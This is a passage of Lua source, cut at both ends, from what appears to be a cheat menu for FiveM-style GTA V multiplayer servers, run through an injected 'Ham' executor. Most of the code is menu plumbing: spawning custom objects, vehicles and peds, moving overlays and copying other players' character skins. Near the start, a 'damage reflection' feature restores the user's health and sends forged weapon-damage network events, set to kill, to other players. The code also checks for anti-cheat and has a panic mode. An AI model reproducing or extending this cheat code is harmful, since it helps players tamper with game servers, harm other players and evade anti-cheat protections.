for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle ~= 0 and DoesEntityExist(vehicle) and IsEntityAVehicle(vehicle) then local distance = #(targetCoords - GetEntityCoords(vehicle)) if distance <= nearestDistance and GetEntitySpeed(vehicle) > 1.0 then attacker = menu.functions.getDamageReflectionPlayerFromVehicle(vehicle, targetEntity) if attacker then return attacker end end end end end return nil end function assembledMenuFunctions.sendDamageReflectionHamDamage(serverId, requestedDamage) if not Ham or not Ham.sendWeaponDamageEvent then return end local params = menu.functions.getDamageReflectionHamParams() local damage = math.max(params.damage, math.max(1, math.floor(tonumber(requestedDamage) or params.damage or 1))) menu.functions.ensureDamageReflectionHamReady(params) CreateThread(function() for shot = 1, params.shots do if not menu.vars or not menu.vars.bools or not menu.vars.bools.damageReflection then return end local playerPed = PlayerPedId() local targetPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) then return end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) local willKill if params.useWillKill then willKill = GetEntityHealth(targetPed) <= damage end Ham.sendWeaponDamageEvent(serverId, { weaponHash = params.weaponHash, damage = damage, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = params.hitComponent, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = params.damageFlags, f112Data = distance, willKill = willKill }) if shot < params.shots and params.delayMs > 0 then Wait(params.delayMs) end end end) end function assembledMenuFunctions.processDamageReflectionHit(entity, requestedDamage) if not _G.runmenu or not menu or not menu.vars or not menu.vars.bools or not menu.vars.bools.damageReflection or menu.vars.panicMode then return end local playerPed = PlayerPedId() if playerPed == 0 or entity ~= playerPed or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then return end menu.vars.damageReflectionState = menu.vars.damageReflectionState or {} local state = menu.vars.damageReflectionState local currentTime = GetGameTimer() if currentTime - (state.lastReflectMs or 0) < 75 then return end local attacker = menu.functions.resolveDamageReflectionAttackerPed(nil, playerPed) if not attacker or IsEntityDead(attacker) or menu.utils.isPedFriend(attacker) then return end local attackerPlayer = NetworkGetPlayerIndexFromPed(attacker) if not attackerPlayer or attackerPlayer == -1 or not NetworkIsPlayerActive(attackerPlayer) then return end local serverId = GetPlayerServerId(attackerPlayer) if not serverId or serverId <= 0 then return end state.lastReflectMs = currentTime state.attackerEntity = nil state.attackerUntil = 0 local params = menu.functions.getDamageReflectionHamParams() local damage = math.max(params.damage, math.max(1, math.floor(tonumber(requestedDamage) or params.damage))) local maxHealth = GetEntityMaxHealth(playerPed) local restoredHealth = math.min(maxHealth, (GetEntityHealth(playerPed) or 0) + damage) SetEntityHealth(playerPed, math.max(restoredHealth, 1)) menu.functions.sendDamageReflectionHamDamage(serverId, damage) if ClearEntityLastDamageEntity then ClearEntityLastDamageEntity(playerPed) end end function assembledMenuFunctions.tickDamageReflection() if not menu.vars or not menu.vars.bools or not menu.vars.bools.damageReflection or menu.vars.panicMode then menu.vars.damageReflectionState = menu.vars.damageReflectionState or {} menu.vars.damageReflectionState.lastHealth = 0 menu.vars.damageReflectionState.lastArmor = 0 return end menu.vars.damageReflectionState = menu.vars.damageReflectionState or {} local state = menu.vars.damageReflectionState local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then state.lastHealth = 0 state.lastArmor = 0 return end local health = GetEntityHealth(playerPed) or 0 local armor = GetPedArmour(playerPed) or 0 if (state.lastHealth or 0) > 0 then local healthLoss = (state.lastHealth or health) - health local armorLoss = (state.lastArmor or armor) - armor local totalLoss = healthLoss + armorLoss if totalLoss > 0 then menu.functions.processDamageReflectionHit(playerPed, totalLoss) end end state.lastHealth = health state.lastArmor = armor end function assembledMenuFunctions.notifySpawnCustom(subtitle, notificationType, duration) menu.utils.notify("Spawn Custom", notificationType or "info", duration or 2000, nil, { title = "Spawn Custom", subtitle = tostring(subtitle or ""), noEnterDelay = true }) end function assembledMenuFunctions.isCustomModelAlreadyAdded(models, modelName) local lowerName = string.lower(modelName) for index = 1, #models do if string.lower(models[index]) == lowerName then return true end end return false end function assembledMenuFunctions.addCustomObject(button) if not menu.vars.customObjects then menu.vars.customObjects = {} end menu.ui.promptText({ title = "Add Custom Object", label = "Enter object model name", placeholder = "e.g. prop_crate, prop_dock_crane_01", default = "", maxLen = 64 }, function(input, cancelled) if cancelled then return end if not input or input == "" then menu.functions.notifySpawnCustom("No model name entered", "error", 2000) return end local modelName = string.gsub(input, "^%s*(.-)%s*$", "%1") if modelName == "" then return end if menu.functions.isCustomModelAlreadyAdded(menu.vars.customObjects, modelName) then menu.functions.notifySpawnCustom("Already added", "error", 2000) return end local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) then menu.functions.notifySpawnCustom("Model does not exist", "error", 2000) return end menu.vars.customObjects[#menu.vars.customObjects + 1] = modelName menu.functions.notifySpawnCustom("Added successfully", "success", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end menu.functions.autoSelectFreecamCustomOption( "Spawn Custom Object", "selectedCustomObjectIndex", #menu.vars.customObjects ) end) end function assembledMenuFunctions.removeCustomObject(button) local index = button and button.funcArg if not index or not menu.vars.customObjects or index < 1 or index > #menu.vars.customObjects then return end table.remove(menu.vars.customObjects, index) menu.functions.notifySpawnCustom("Removed successfully", "info", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end end function assembledMenuFunctions.clearCustomObjects(button) if not menu.vars.customObjects then menu.vars.customObjects = {} end local count = #menu.vars.customObjects menu.vars.customObjects = {} menu.functions.notifySpawnCustom("Cleared " .. count .. " custom object(s)", "info", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end end function assembledMenuFunctions.addCustomVehicle(button) if not menu.vars.customVehicles then menu.vars.customVehicles = {} end menu.ui.promptText({ title = "Add Custom Vehicle", label = "Enter vehicle model name", placeholder = "e.g. sultan, adder", default = "", maxLen = 64 }, function(input, cancelled) if cancelled then return end if not input or input == "" then menu.functions.notifySpawnCustom("No model name entered", "error", 2000) return end local modelName = string.gsub(input, "^%s*(.-)%s*$", "%1") if modelName == "" then return end if menu.functions.isCustomModelAlreadyAdded(menu.vars.customVehicles, modelName) then menu.functions.notifySpawnCustom("Already added", "error", 2000) return end local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.functions.notifySpawnCustom("Model does not exist", "error", 2000) return end menu.vars.customVehicles[#menu.vars.customVehicles + 1] = modelName menu.functions.notifySpawnCustom("Added successfully", "success", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end menu.functions.autoSelectFreecamCustomOption( "Spawn Custom Vehicle", "selectedCustomVehicleIndex", #menu.vars.customVehicles ) end) end function assembledMenuFunctions.removeCustomVehicle(button) local index = button and button.funcArg if not index or not menu.vars.customVehicles or index < 1 or index > #menu.vars.customVehicles then return end table.remove(menu.vars.customVehicles, index) menu.functions.notifySpawnCustom("Removed successfully", "info", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end end function assembledMenuFunctions.clearCustomVehicles(button) if not menu.vars.customVehicles then menu.vars.customVehicles = {} end local count = #menu.vars.customVehicles menu.vars.customVehicles = {} menu.functions.notifySpawnCustom("Cleared " .. count .. " custom vehicle(s)", "info", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end end function assembledMenuFunctions.spawnVehicleByNamePrompt(button) menu.ui.promptText({ title = "Spawn Vehicle by Name", label = "Enter vehicle model name", placeholder = "e.g. sultan, adder", default = "", maxLen = 64 }, function(input, cancelled) if cancelled then return end if not input or input == "" then menu.utils.notify("No model name entered", "error", 2000) return end local modelName = string.gsub(input, "^%s*(.-)%s*$", "%1") if modelName == "" then return end local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.utils.notify("Invalid vehicle model: " .. modelName, "error", 2000) return end if menu.functions and menu.functions.spawnVehicle then menu.functions.spawnVehicle(modelName) return end menu.utils.notify("Spawn function is not available", "error", 2000) end) end function assembledMenuFunctions.addCustomPed(button) if not menu.vars.customPeds then menu.vars.customPeds = {} end menu.ui.promptText({ title = "Add Custom Ped", label = "Enter ped model name", placeholder = "e.g. a_c_cow, mp_m_freemode_01", default = "", maxLen = 64 }, function(input, cancelled) if cancelled then return end if not input or input == "" then menu.functions.notifySpawnCustom("No model name entered", "error", 2000) return end local modelName = string.gsub(input, "^%s*(.-)%s*$", "%1") if modelName == "" then return end if menu.functions.isCustomModelAlreadyAdded(menu.vars.customPeds, modelName) then menu.functions.notifySpawnCustom("Already added", "error", 2000) return end local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) or not IsModelAPed(modelHash) then menu.functions.notifySpawnCustom("Model does not exist", "error", 2000) return end menu.vars.customPeds[#menu.vars.customPeds + 1] = modelName menu.functions.notifySpawnCustom("Added successfully", "success", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end menu.functions.autoSelectFreecamCustomOption( "Spawn Custom Ped", "selectedCustomPedIndex", #menu.vars.customPeds ) end) end function assembledMenuFunctions.removeCustomPed(button) local index = button and button.funcArg if not index or not menu.vars.customPeds or index < 1 or index > #menu.vars.customPeds then return end table.remove(menu.vars.customPeds, index) menu.functions.notifySpawnCustom("Removed successfully", "info", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end end function assembledMenuFunctions.clearCustomPeds(button) if not menu.vars.customPeds then menu.vars.customPeds = {} end local count = #menu.vars.customPeds menu.vars.customPeds = {} menu.functions.notifySpawnCustom("Cleared " .. count .. " custom ped(s)", "info", 2000) if menu.utils.refreshCustomSubmenu then menu.utils.refreshCustomSubmenu() end end function assembledMenuFunctions.autoSelectFreecamCustomOption(optionName, indexField, selectedIndex) local configVar local allOptions = menu.utils and menu.utils.freecamAllOptions if allOptions then for _, option in ipairs(allOptions) do if option.name == optionName then configVar = option.configVar break end end end if configVar then menu.vars.bools = menu.vars.bools or {} menu.vars.bools[configVar] = true end if indexField == "selectedCustomObjectIndex" then menu.vars.freecamLastCustomObjectIndex = selectedIndex elseif indexField == "selectedCustomVehicleIndex" then menu.vars.freecamLastCustomVehicleIndex = selectedIndex elseif indexField == "selectedCustomPedIndex" then menu.vars.freecamLastCustomPedIndex = selectedIndex end local freecamState = menu.vars.freecamMenu if not freecamState or not menu.vars.freecamMenuActive then return end freecamState[indexField] = selectedIndex local menuOptions = freecamState.menuOptions if not menuOptions then return end for index = 1, #menuOptions do if menuOptions[index] == optionName then freecamState.selectedOption = index menu.vars.freecamLastSelectedOption = index return end end local insertPosition = #menuOptions + 1 if allOptions then local optionRank for rank, option in ipairs(allOptions) do if option.name == optionName then optionRank = rank break end end if optionRank then for index = 1, #menuOptions do for rank, option in ipairs(allOptions) do if option.name == menuOptions[index] and rank > optionRank then insertPosition = index break end end if insertPosition <= #menuOptions then break end end end end table.insert(menuOptions, insertPosition, optionName) freecamState.selectedOption = insertPosition menu.vars.freecamLastSelectedOption = insertPosition end function assembledMenuFunctions.checkAnticheats() menu.utils.detectAntiCheat() end function assembledMenuFunctions.toggleSpectatorList(toggleOptions) end function assembledMenuFunctions.resetOverlayPosition(options) if not menu.vars.movingOverlayList and not options then return end local allowedStates = { menuPositionState = true, spectatorListState = true, keybindListState = true, vanityUsersListState = true } if not allowedStates[options.stateKey] then return end local state = menu.vars[options.stateKey] if not state then return end state.x = nil state.y = nil state.isDragging = false state.dragOffsetX = 0 state.dragOffsetY = 0 state.moveMouseWasDown = false if options.stateKey == "keybindListState" then state.followInfoLayout = true end end function assembledMenuFunctions.resetSelectedOverlayPosition() local stateKeys = { "menuPositionState", "spectatorListState", "keybindListState", "vanityUsersListState" } local selectedIndex = menu.vars.selectors and menu.vars.selectors.resetOverlayPosition or 1 menu.functions.resetOverlayPosition({ stateKey = stateKeys[selectedIndex] }) end function assembledMenuFunctions.moveOverlayList(stateKey, toggleKey) if menu.vars.movingOverlayList then return end if GetGameTimer() < (menu.vars.overlayMoveInputBlockedUntil or 0) then return end local state = menu.vars[stateKey] if not state then return end local originalX, originalY = state.x, state.y local originalFollowLayout = state.followInfoLayout local originalToggle = toggleKey and menu.vars.bools[toggleKey] local originalVisible = menu.vars.visible menu.vars.movingOverlayList = stateKey menu.vars.overlayMoveCenterPending = true menu.vars.overlayMoveReady = false if toggleKey then menu.vars.bools[toggleKey] = true end state.followInfoLayout = false state.isDragging = false state.moveMouseWasDown = false Ham.toggleInputBlock(true) Ham.toggleMouse(true) menu.logic.holdNoclipPosition("overlayMove") CreateThread(function() while _G.runmenu and (Ham.isKeyDown(ImGuiKey.Enter) or Ham.isMouseDown(0)) do for controlGroup = 0, 2 do DisableAllControlActions(controlGroup) end Ham.toggleInputBlock(true) Ham.toggleMouse(true) Wait(0) end Wait(0) local enterWasDown, escapeWasDown = false, false menu.vars.overlayMoveReady = true while _G.runmenu and menu.vars.movingOverlayList == stateKey do for controlGroup = 0, 2 do DisableAllControlActions(controlGroup) end Ham.toggleInputBlock(true) Ham.toggleMouse(true) local enterDown = Ham.isKeyDown(ImGuiKey.Enter) local escapeDown = Ham.isKeyDown(ImGuiKey.Escape) if escapeWasDown and not escapeDown then state.followInfoLayout = originalFollowLayout state.x = originalX state.y = originalY break end if enterWasDown and not enterDown then break end enterWasDown, escapeWasDown = enterDown, escapeDown Wait(0) end menu.vars.overlayMoveInputBlockedUntil = GetGameTimer() + 200 menu.vars.movingOverlayList = nil menu.vars.overlayMoveReady = nil menu.vars.overlayMoveCenterPending = nil state.isDragging = false if toggleKey then menu.vars.bools[toggleKey] = originalToggle end menu.vars.visible = originalVisible menu.logic.releaseNoclipPosition("overlayMove") local mouseEnabled = originalVisible and menu.vars.bools.menuMouseControl == true Ham.toggleMouse(mouseEnabled) Ham.toggleInputBlock(menu.logic.needsHamInputBlock() and true or false) end) end function assembledMenuFunctions.drawOverlayMoveFocus(stateKey, state, width, height, verticalOffset) if menu.vars.movingOverlayList ~= stateKey then return end local screenWidth, screenHeight = Ham.getResolution() local scale = menu.vars.scale or 1 verticalOffset = verticalOffset or 0 if menu.vars.overlayMoveCenterPending then state.x = math.max(0, (screenWidth - width) / 2) state.y = math.max(0, (screenHeight - height) / 2) + verticalOffset menu.vars.overlayMoveCenterPending = nil end local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) if menu.vars.overlayMoveReady and mouseDown then if not state.isDragging and not state.moveMouseWasDown and mouseX >= state.x and mouseX <= state.x + width and mouseY >= state.y - verticalOffset and mouseY <= state.y - verticalOffset + height then state.isDragging = true state.dragOffsetX = mouseX - state.x state.dragOffsetY = mouseY - state.y end if state.isDragging then state.x = math.max(0, math.min(math.max(0, screenWidth - width), mouseX - state.dragOffsetX)) state.y = math.max( verticalOffset, math.min( math.max(verticalOffset, screenHeight - height + verticalOffset), mouseY - state.dragOffsetY ) ) end else state.isDragging = false end state.moveMouseWasDown = mouseDown Ham.drawRectFilled({ 0, 0, screenWidth, screenHeight }, { 0, 0, 0, 120 }, 0, 0) local primaryColor = menu.drawing.colors.primary local pulse = 0.8 + math.sin(GetGameTimer() / 300) * 0.2 for borderSize = 16, 2, -2 do local scaledBorder = borderSize * scale Ham.drawRectFilled({ state.x - scaledBorder, state.y - verticalOffset - scaledBorder, width + scaledBorder * 2, height + scaledBorder * 2 }, { primaryColor[1], primaryColor[2], primaryColor[3], math.floor((18 - borderSize) * pulse) }, 6 * scale, 8) end local instructions = "Drag to move | Enter: save | Escape: cancel" Ham.setFont(menu.fonts.options) local textWidth = Ham.getTextWidth(instructions) Ham.drawText(instructions, { (screenWidth - textWidth) / 2, screenHeight - 65 * scale }, { 255, 255, 255, 255 }, 15 * scale, false, false, {}) Ham.resetFont() end function assembledMenuFunctions.moveSpectatorList() menu.functions.moveOverlayList("spectatorListState", "spectatorList") end function assembledMenuFunctions.moveKeybindList() menu.functions.moveOverlayList("keybindListState", "keybindList") end function assembledMenuFunctions.moveMenu() menu.functions.moveOverlayList("menuPositionState") end function assembledMenuFunctions.moveVanityList() if not menu.vars.bools.vanityUsersList then return end menu.functions.moveOverlayList("vanityUsersListState", "vanityUsersList") end function assembledMenuFunctions.toggleVanityUsersList(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState == true menu.vars.bools.vanityUsersList = enabled menu.vars.bools.showMeOnServers = enabled if menu.utils and menu.utils.applyVanityPrivacyStateBags then menu.utils.applyVanityPrivacyStateBags() end Citizen.CreateThread(function() if menu.utils and menu.utils.heartbeat then menu.utils.heartbeat() end end) end function assembledMenuFunctions.syncVanityPrivacySettings(options) if menu.utils and menu.utils.applyVanityPrivacyStateBags then menu.utils.applyVanityPrivacyStateBags() end Citizen.CreateThread(function() if menu.utils and menu.utils.heartbeat then menu.utils.heartbeat() end end) end function assembledMenuFunctions.toggleKeybindList(toggleOptions) end function assembledMenuFunctions.toggleInfoList(toggleOptions) end function assembledMenuFunctions.toggleFpsMode(toggleOptions) local function callIfAvailable(native, ...) if type(native) == "function" then return native(...) end end if not toggleOptions or not toggleOptions.toggleState then ClearTimecycleModifier() ClearExtraTimecycleModifier() ClearOverrideWeather() ClearWeatherTypePersist() callIfAvailable(SetForceVehicleTrails, false) callIfAvailable(SetForcePedFootstepsTracks, false) callIfAvailable(SetSnowLevel, 0.0) callIfAvailable(SetRainLevel, 0.0) callIfAvailable(SetWindSpeed, 0.0) callIfAvailable(RemoveNamedPtfxAsset, "core_snow") callIfAvailable(UseParticleFxAsset, "core") if menu.utils and menu.utils.notify then menu.utils.notify("FPS Mode disabled, visuals reset", "info", 2000) end return end SetTimecycleModifier() ClearTimecycleModifier() ClearExtraTimecycleModifier() local playerPed = PlayerPedId() SetTimecycleModifier("yell_tunnel_nodirect") ClearAllBrokenGlass() ClearAllHelpMessages() LeaderboardsReadClearAll() ClearBrief() ClearGpsFlags() ClearPrints() ClearSmallPrints() ClearReplayStats() LeaderboardsClearCacheData() ClearFocus() ClearHdArea() ClearPedBloodDamage(playerPed) ClearPedWetness(playerPed) ClearPedEnvDirt(playerPed) ResetPedVisibleDamage(playerPed) ClearOverrideWeather() DisableScreenblurFade() callIfAvailable(SetRainLevel, 0.0) callIfAvailable(SetWindSpeed, 0.0) ClearOverrideWeather() ClearWeatherTypePersist() SetWeatherTypePersist("CLEAR") SetWeatherTypeNow("CLEAR") SetWeatherTypeNowPersist("CLEAR") callIfAvailable(SetForceVehicleTrails, false) callIfAvailable(SetForcePedFootstepsTracks, false) callIfAvailable(SetSnowLevel, 0.0) callIfAvailable(SetRainLevel, 0.0) callIfAvailable(SetWindSpeed, 0.0) callIfAvailable(RemoveNamedPtfxAsset, "core_snow") callIfAvailable(UseParticleFxAsset, "core") if menu.utils and menu.utils.notify then menu.utils.notify("Low FPS boost applied", "success", 2000) end end function assembledMenuFunctions.getSkinByTarget(target) local targetName = type(target) == "string" and target ~= "" and target or "Me" local skinTargetName = targetName local function getSkinData(entity) local entityModel = GetEntityModel(entity) local sex if entityModel == GetHashKey("mp_m_freemode_01") then sex = 0 elseif entityModel == GetHashKey("mp_f_freemode_01") then sex = 1 end local face, skin = menu.functions.parseHeadBlendFromPed(entity) face = tonumber(face) skin = tonumber(skin) if (face == nil or face < 0) and entity == PlayerPedId() and menu and menu.vars and menu.vars.sliders then face = menu.vars.sliders.skinFace end if (skin == nil or skin < 0) and entity == PlayerPedId() and menu and menu.vars and menu.vars.sliders then skin = menu.vars.sliders.skinSkin end if face == nil or face < 0 then face = GetPedDrawableVariation(entity, 0) or 0 end if skin == nil or skin < 0 then skin = GetPedDrawableVariation(entity, 0) or 0 end local skinData = { sex = sex, face = face, skin = skin, hair_1 = GetPedDrawableVariation(entity, 2) or 0, hair_2 = GetPedTextureVariation(entity, 2) or 0, hair_color_1 = GetPedHairColor(entity) or 0, hair_color_2 = GetPedHairHighlightColor(entity) or 0, eye_color = GetPedEyeColor(entity) or 0, decals_1 = GetPedDrawableVariation(entity, 10) or 0, decals_2 = GetPedTextureVariation(entity, 10) or 0, tshirt_1 = GetPedDrawableVariation(entity, 8) or 0, tshirt_2 = GetPedTextureVariation(entity, 8) or 0, torso_1 = GetPedDrawableVariation(entity, 11) or 0 } skinData = skinData torsoTexture = GetPedTextureVariation(entity, 11) if not torsoTexture then torsoTexture = 0 end skinData.torso_2 = torsoTexture skinData.arms = GetPedDrawableVariation(entity, 3) or 0 skinData.pants_1 = GetPedDrawableVariation(entity, 4) or 0 skinData.pants_2 = GetPedTextureVariation(entity, 4) or 0 skinData.shoes_1 = GetPedDrawableVariation(entity, 6) or 0 skinData.shoes_2 = GetPedTextureVariation(entity, 6) or 0 skinData.mask_1 = GetPedDrawableVariation(entity, 1) or 0 skinData.mask_2 = GetPedTextureVariation(entity, 1) or 0 skinData.helmet_1 = GetPedPropIndex(entity, 0) or -1 skinData.helmet_2 = GetPedPropTextureIndex(entity, 0) or 0 skinData.bproof_1 = GetPedDrawableVariation(entity, 9) or 0 skinData.bproof_2 = GetPedTextureVariation(entity, 9) or 0 skinData.bags_1 = GetPedDrawableVariation(entity, 5) or 0 skinData.bags_2 = GetPedTextureVariation(entity, 5) or 0 skinData.beard_1 = GetPedHeadOverlayValue(entity, 1) or 0 local beardOpacity = GetPedHeadOverlayValue(entity, 1) if beardOpacity ~= 255 then beardOpacity = GetPedHeadOverlayValue(entity, 1) if not beardOpacity then beardOpacity = 0 end else beardOpacity = 0 end skinData.beard_2 = math.floor(beardOpacity * 10 + 0.5) skinData.beard_3 = 0 skinData.beard_4 = 0 skinData.eyebrow_1 = GetPedHeadOverlayValue(entity, 2) or 0 local eyebrowOpacity = GetPedHeadOverlayValue(entity, 2) if eyebrowOpacity ~= 255 then eyebrowOpacity = 1.0 else eyebrowOpacity = 0 end skinData.eyebrow_2 = math.floor(eyebrowOpacity * 10 + 0.5) skinData.eyebrow_3 = 0 skinData.eyebrow_4 = 0 skinData.chain_1 = GetPedDrawableVariation(entity, 7) or 0 skinData.chain_2 = GetPedTextureVariation(entity, 7) or 0 skinData.glasses_1 = GetPedPropIndex(entity, 1) or -1 skinData.glasses_2 = GetPedPropTextureIndex(entity, 1) or 0 skinData.ears_1 = GetPedPropIndex(entity, 2) or -1 skinData.ears_2 = GetPedPropTextureIndex(entity, 2) or 0 return skinData end local function printSkinData(skin, playerName) local sex = skin.sex if sex == nil then sex = "nil" else sex = tostring(skin.sex) end local modelCommand = "" if skin.sex ~= nil then local modelName = skin.sex == 0 and "mp_m_freemode_01" or "mp_f_freemode_01" modelCommand = string.format( "local m=GetHashKey('%s') if m~=GetEntityModel(PlayerPedId()) then RequestModel(m) while not HasModelLoaded(m) do Citizen.Wait(0) end SetPlayerModel(PlayerId(),m) SetModelAsNoLongerNeeded(m) SetPedDefaultComponentVariation(PlayerPedId()) end ", modelName ) end local command = string.format( "%slocal p=PlayerPedId() " .. "SetPedHeadBlendData(p,%d,%d,%d,%d,%d,%d,1.0,1.0,1.0,true) " .. "SetPedComponentVariation(p,2,%d,%d,2) " .. "SetPedHairColor(p,%d,%d) " .. "SetPedEyeColor(p,%d) " .. "SetPedHeadOverlay(p,1,%d,%.1f) " .. "SetPedHeadOverlayColor(p,1,1,%d,%d) " .. "SetPedHeadOverlay(p,2,%d,%.1f) " .. "SetPedHeadOverlayColor(p,2,1,%d,%d) " .. "SetPedComponentVariation(p,8,%d,%d,2) " .. "SetPedComponentVariation(p,11,%d,%d,2) " .. "SetPedComponentVariation(p,3,%d,0,2) " .. "SetPedComponentVariation(p,10,%d,%d,2) " .. "SetPedComponentVariation(p,4,%d,%d,2) " .. "SetPedComponentVariation(p,6,%d,%d,2) " .. "SetPedComponentVariation(p,1,%d,%d,2) " .. "SetPedComponentVariation(p,9,%d,%d,2) " .. "SetPedComponentVariation(p,7,%d,%d,2) " .. "SetPedComponentVariation(p,5,%d,%d,2) " .. "if %d>=0 then SetPedPropIndex(p,0,%d,%d,true) else ClearPedProp(p,0) end " .. "if %d>=0 then SetPedPropIndex(p,1,%d,%d,true) else ClearPedProp(p,1) end " .. "if %d>=0 then SetPedPropIndex(p,2,%d,%d,true) else ClearPedProp(p,2) end", modelCommand, skin.face, skin.face, skin.face, skin.skin, skin.skin, skin.skin, skin.hair_1, skin.hair_2, skin.hair_color_1, skin.hair_color_2 or skin.hair_color_1, skin.eye_color or 0, skin.beard_1, (skin.beard_2 or 10) / 10.0, skin.beard_3 or 0, skin.beard_4 or 0, skin.eyebrow_1 or 0, (skin.eyebrow_2 or 10) / 10.0, skin.eyebrow_3 or 0, skin.eyebrow_4 or 0, skin.tshirt_1, skin.tshirt_2, skin.torso_1, skin.torso_2, skin.arms, skin.decals_1, skin.decals_2, skin.pants_1, skin.pants_2, skin.shoes_1, skin.shoes_2, skin.mask_1, skin.mask_2, skin.bproof_1, skin.bproof_2, skin.chain_1, skin.chain_2, skin.bags_1, skin.bags_2, skin.helmet_1, skin.helmet_1, skin.helmet_2 or 0, skin.glasses_1, skin.glasses_1, skin.glasses_2 or 0, skin.ears_1, skin.ears_1, skin.ears_2 or 0 ) print("-- Skin: " .. playerName) print(command) end local function findDevTab() local mainTab for _, tab in ipairs(menu.config.tabs or {}) do if tab.name == "Main" then mainTab = tab break end end if not mainTab then return nil end local miscOptions for _, option in ipairs(mainTab.options or {}) do if option.name == "Misc Options" then miscOptions = option break end end if not miscOptions or not (miscOptions.submenu or miscOptions.tabs) then return nil end local options = miscOptions.submenu if not options then local function getMiscOptions() for _, tab in ipairs(miscOptions.tabs or {}) do if tab.name == "Misc" and tab.options then return tab.options end end return {} end options = getMiscOptions() end local adminOption for _, option in ipairs(options) do if option.name == "Admin" then adminOption = option break end end if not adminOption or not adminOption.tabs then return nil end for _, tab in ipairs(adminOption.tabs) do if tab.name == "Dev" then return tab end end return nil end local function rebuildDevSkinOptions(skins) local devTab = findDevTab() if not devTab or not devTab.options then return end local options = {} for _, option in ipairs(devTab.options) do table.insert(options, option) if option.type == "seperator" and option.name == "Players" then break end end for index, entry in ipairs(skins) do local callbackName = "_skinApply_" .. index local skinEntry = entry menu.functions[callbackName] = function() menu.functions.applySkinToPed(skinEntry.skin) end table.insert(options, { name = entry.name, type = "button", func = callbackName }) end devTab.options = options menu.logic.refreshSubmenuByTitle("Admin") end if skinTargetName == "Me" then local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) then menu.utils.notify("Could not read your ped", "error", 2000) return end local playerName = GetPlayerName(PlayerId()) or "My Skin" local skin = getSkinData(playerPed) menu.vars.lastPrintedSkin = skin printSkinData(skin, playerName) rebuildDevSkinOptions({ { name = playerName, skin = skin } }) menu.utils.notify("Got your skin", "success", 2000) return end if skinTargetName == "Nearest Player" then local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local playerId = PlayerId() local nearestPed local nearestDistance = math.huge local nearestName = "Unknown" for _, activePlayer in ipairs(GetActivePlayers()) do if activePlayer ~= playerId then local activePed = GetPlayerPed(activePlayer) if activePed ~= playerPed then activePed = GetPlayerPed(activePlayer) if DoesEntityExist(activePed) then local distance = #(playerCoords - GetEntityCoords(activePed)) if nearestDistance > distance then nearestDistance = distance nearestPed = activePed nearestName = GetPlayerName(activePlayer) or ("Player " .. activePlayer) end end end end end if not nearestPed then menu.vars.getSkinTarget = "Me" menu.utils.notify("No nearby player found", "error", 2500) return end local skin = getSkinData(nearestPed) menu.vars.lastPrintedSkin = skin printSkinData(skin, nearestName) rebuildDevSkinOptions({ { name = nearestName, skin = skin } }) menu.utils.notify("Got skin of " .. nearestName, "success", 2500) return end if skinTargetName == "All Players" then local skins = {} local playerId = PlayerId() local playerPed = PlayerPedId() for _, activePlayer in ipairs(GetActivePlayers()) do if activePlayer ~= playerId then local activePed = GetPlayerPed(activePlayer) if activePed ~= playerPed then activePed = GetPlayerPed(activePlayer) if DoesEntityExist(activePed) then local playerName = GetPlayerName(activePlayer) or ("Player " .. activePlayer) local skin = getSkinData(activePed) table.insert(skins, { id = activePlayer, name = playerName, skin = skin }) printSkinData(skin, playerName) end end end end menu.vars.scannedPlayerSkins = skins rebuildDevSkinOptions(skins) menu.utils.notify("Scanned " .. #skins .. " player(s)", "success", 2500) end end function assembledMenuFunctions.clearSkinList() menu.vars.scannedPlayerSkins = {} local devTab local mainTab for _, tab in ipairs(menu.config.tabs or {}) do if tab.name == "Main" then mainTab = tab break end end if mainTab then local miscOptions for _, option in ipairs(mainTab.options or {}) do if option.name == "Misc Options" then miscOptions = option break end end if miscOptions then local options = miscOptions.submenu if not options then local function getMiscOptions() for _, tab in ipairs(miscOptions.tabs or {}) do if tab.name == "Misc" and tab.options then return tab.options end end return {} end options = getMiscOptions() end local foundAdmin = false for _, option in ipairs(options) do if option.name == "Admin" and option.tabs then for _, tab in ipairs(option.tabs) do if tab.name == "Dev" then devTab = tab break end end foundAdmin = true break end end end end if devTab and devTab.options then local options = {} for _, option in ipairs(devTab.options) do table.insert(options, option) if option.type == "seperator" and option.name == "Players" then break end end devTab.options = options menu.logic.refreshSubmenuByTitle("Admin") end menu.utils.notify("List cleared", "success", 2000) end function assembledMenuFunctions.printCurrentTorsoToF8() local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) then print("[Premium Menu] Could not read player ped for skin print") return end local model = GetEntityModel(playerPed) local sex if model == GetHashKey("mp_m_freemode_01") then sex = 0 elseif model == GetHashKey("mp_f_freemode_01") then sex = 1 end local face, skin = 